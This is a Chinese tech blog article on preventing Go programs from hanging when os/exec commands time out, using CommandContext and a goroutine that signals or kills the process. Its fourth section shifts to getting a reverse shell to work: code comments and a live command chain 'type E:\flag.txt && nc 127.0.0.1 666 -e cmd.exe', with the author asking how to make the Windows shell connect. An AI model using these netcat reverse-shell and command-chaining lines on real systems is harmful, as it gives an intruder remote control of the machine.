Go的os/exec执行超时导致程序死机的解决方案

 更新时间:2024年04月12日 10:03:47   作者:Aisre  
这篇文章主要介绍了Go的os/exec执行超时导致程序死机的几种解决方案,文中通过代码示例给大家介绍的非常详细,对大家的学习或工作有一定的帮助,需要的朋友可以参考下

1.cmd执行命令

先看一个简单的命令执行代码

import (
	"fmt"
	"os/exec"
)

func main() {
	cmd := exec.Command("cmd", "/c", "dir  C:\\Users\\ASUS\\Desktop\\新建文件夹")
	output, err := cmd.Output()
	if err != nil {
		fmt.Println(err)
		fmt.Println(" command failed:", string(output))
	}
	fmt.Println(" command success:", string(output))
}

执行输出结果,代码没问题,但出现命令执行超时,提前返回的结果,有时会卡住程序,这是我们可以用exec.CommandContext函数来设置一个超时时间

2.CommandContext设置超时

下面代码时用ffmpeg获取视频时间的操作,这是一个很需要时间的命令

func GetMP4Duration(filePath string) (int, error) {
	// 构建 FFmpeg 命令
	ctx, cancel := context.WithTimeout(context.Background(), 70*time.Second)
	defer cancel()
	cmd := exec.CommandContext(ctx, pojo.ResultDir+"\\bin\\ffmpeg.exe", "-i", filePath, "-f", "null", "NUL")
	// 执行命令并捕获输出
	output, err := cmd.CombinedOutput()
	if err != nil {
		return 0, err
	}

	// 解析输出以获取时长
	durationStr := extractDuration(string(output))
	if durationStr == "" {
		return 0, fmt.Errorf("Failed to extract duration from FFmpeg output")
	}

	// 将时长字符串转换为秒数
	duration, err := parseDuration(durationStr)
	if err != nil {
		return 0, err
	}

	return int(duration), nil
}

这只是一个设置超时时间程序

3.程序继续死机

当我以为这样就可以万事大局时,但是还是发生的死机,这时时需要调用系统命令去结束。

下面cmd.Process.Signal(syscall.SIGINT)是windows上调用

func GetMP4Duration(filePath string) (int, error) {
	// 构建 FFmpeg 命令
	ctx, cancel := context.WithTimeout(context.Background(), 70*time.Second)
	defer cancel()
	cmd := exec.CommandContext(ctx, pojo.ResultDir+"\\bin\\ffmpeg.exe", "-i", filePath, "-f", "null", "NUL")

	go func() {
		<-ctx.Done()
		if ctx.Err() == context.DeadlineExceeded {
			fmt.Println("Context done due to timeout. Killing process...")
			cmd.Process.Signal(syscall.SIGINT)
			//或者cmd.Process.Kill()
		}
	}()
	// 执行命令并捕获输出
	output, err := cmd.CombinedOutput()
	if err != nil {
		return 0, err
	}

	// 解析输出以获取时长
	durationStr := extractDuration(string(output))
	if durationStr == "" {
		return 0, fmt.Errorf("Failed to extract duration from FFmpeg output")
	}

	// 将时长字符串转换为秒数
	duration, err := parseDuration(durationStr)
	if err != nil {
		return 0, err
	}

	return int(duration), nil
}

这样确保程序出现错误时,不会卡死。

4. 当我们给出反弹sh时,超时会不会导致sh失效

go执行多条命令的写法,当我使用上面的写法不会执行多条命令

cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && echo 'hello'")
func shtest() {

	//nc -lvp 777
	//nc 127.0.0.1 777 -e c:\windows\system32\cmd.exe
	//ffmpeg  -i  F:\测试专用\视频\065.mp4 |nc 127.0.01    -f  null  NUL
	// filePath := `F:\测试专用\视频\065.mp4`
	ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)
	defer cancel()
	//-threads 5  -preset veryfast
	//ffmpeg  -i "1.成都“不用咬全靠吸”的蹄花,裹满辣椒水太满足了(Av1052272125,P1).mp4" -threads 5 -preset veryfast -f null null
	//ffmpeg  -i "1.成都“不用咬全靠吸”的蹄花,裹满辣椒水太满足了(Av1052272125,P1).mp4" -threads 5 -preset veryfast  -f null null
	// "echo 'hello' && echo 'hi'"     type   E:\\flag.txt
	//cmd := exec.CommandContext(ctx, "ffmpeg", "-i", filePath, "-f", "null", "NUL  & echo 'hello' && echo 'hi'")
	//cmd := exec.CommandContext(ctx, "cmd", "/c", "type E:\\flag.txt && echo 'hello'")
	cmd := exec.CommandContext(ctx, "cmd", "/c", "type  E:\\flag.txt  && nc 127.0.0.1 666 -e cmd.exe")
	sr := ""
	for _, v := range cmd.Args {
		sr += v + " "
	}
	fmt.Println(sr)
	go func() {
		<-ctx.Done()
		if ctx.Err() == context.DeadlineExceeded {
			fmt.Println("Context done due to timeout. Killing process...")
			cmd.Process.Signal(syscall.SIGINT)
		}
	}()
	// 执行命令并捕获输出
	output, err := cmd.CombinedOutput()
	fmt.Println(string(output))
	if err != nil {
		fmt.Println(err)
	}
	fmt.Println("5555555555")
}

但是我sh没传出去,已经把出战和入站流量打开。到点还是超时,有谁知道windows的sh到底怎么还可以怎么传

以上就是Go的os/exec执行超时导致程序死机的解决方案的详细内容,更多关于Go os/exec执行超时导致死机的资料请关注脚本之家其它相关文章!

相关文章

  • goland远程调试k8s上容器的实现

    goland远程调试k8s上容器的实现

    本文主要介绍了goland远程调试k8s上容器的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2023-02-02
  • golang之判断元素是否在数组内问题

    golang之判断元素是否在数组内问题

    这篇文章主要介绍了golang之判断元素是否在数组内问题,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教
    2020-12-12
  • Go项目的目录结构详解

    Go项目的目录结构详解

    这篇文章主要介绍了Go项目的目录结构,对基础目录做了讲解,对项目开发中的其它目录也一并做了介绍,需要的朋友可以参考下
    2014-10-10
  • go循环依赖的最佳解决方案

    go循环依赖的最佳解决方案

      import cycle not allowed(循环依赖不被允许)相信作为每一个golang语言使用研发,都遇到过这个令人头痛的报错,循环依赖是指两个或多个模块之间互相依赖,形成了一个闭环的情况,本文会结合部分案例对解决方案进行讲解,需要的朋友可以参考下
    2023-10-10
  • Go channel发送方和接收方如何相互阻塞等待源码解读

    Go channel发送方和接收方如何相互阻塞等待源码解读

    这篇文章主要为大家介绍了Go channel发送方和接收方如何相互阻塞等待源码解读,有需要的朋友可以借鉴参考下,希望能够有所帮助,祝大家多多进步,早日升职加薪
    2023-12-12
  • 十个Golang开发中应该避免的错误总结

    十个Golang开发中应该避免的错误总结

    Go是一种静态类型的、并发的、垃圾收集的编程语言,由谷歌开发。开发人员在编写Go代码时总会有一些常见的错误,下面是Go语言中需要避免的十大坏错误,希望对大家有所帮助
    2023-03-03
  • Golang设计模式之生成器模式讲解和代码示例

    Golang设计模式之生成器模式讲解和代码示例

    生成器是一种创建型设计模式,使你能够分步骤创建复杂对象,与其他创建型模式不同,生成器不要求产品拥有通用接口,这使得用相同的创建过程生成不同的产品成为可能,本文就通过代码示例为大家详细介绍Golang生成器模式,感兴趣的同学可以参考下
    2023-06-06
  • golang文件内容覆盖问题的分析及解决

    golang文件内容覆盖问题的分析及解决

    通过golang读取数据库站点映射配置,生成nginx conf文件,并检查和重启nginx服务,已达到站点自动化部署目的,当目标文件中内容很长,而写入的内容很短时,目标文件内容无法完全覆盖,本文给大家介绍了解决方法,需要的朋友可以参考下
    2024-01-01
  • Go语言中一些不常见的命令参数详解

    Go语言中一些不常见的命令参数详解

    这篇文章主要给大家介绍了关于Go语言中一些不常见的命令参数的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧。
    2017-12-12
  • golang环形队列实现代码示例

    golang环形队列实现代码示例

    这篇文章主要介绍了golang环形队列实现代码示例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2019-11-11

最新评论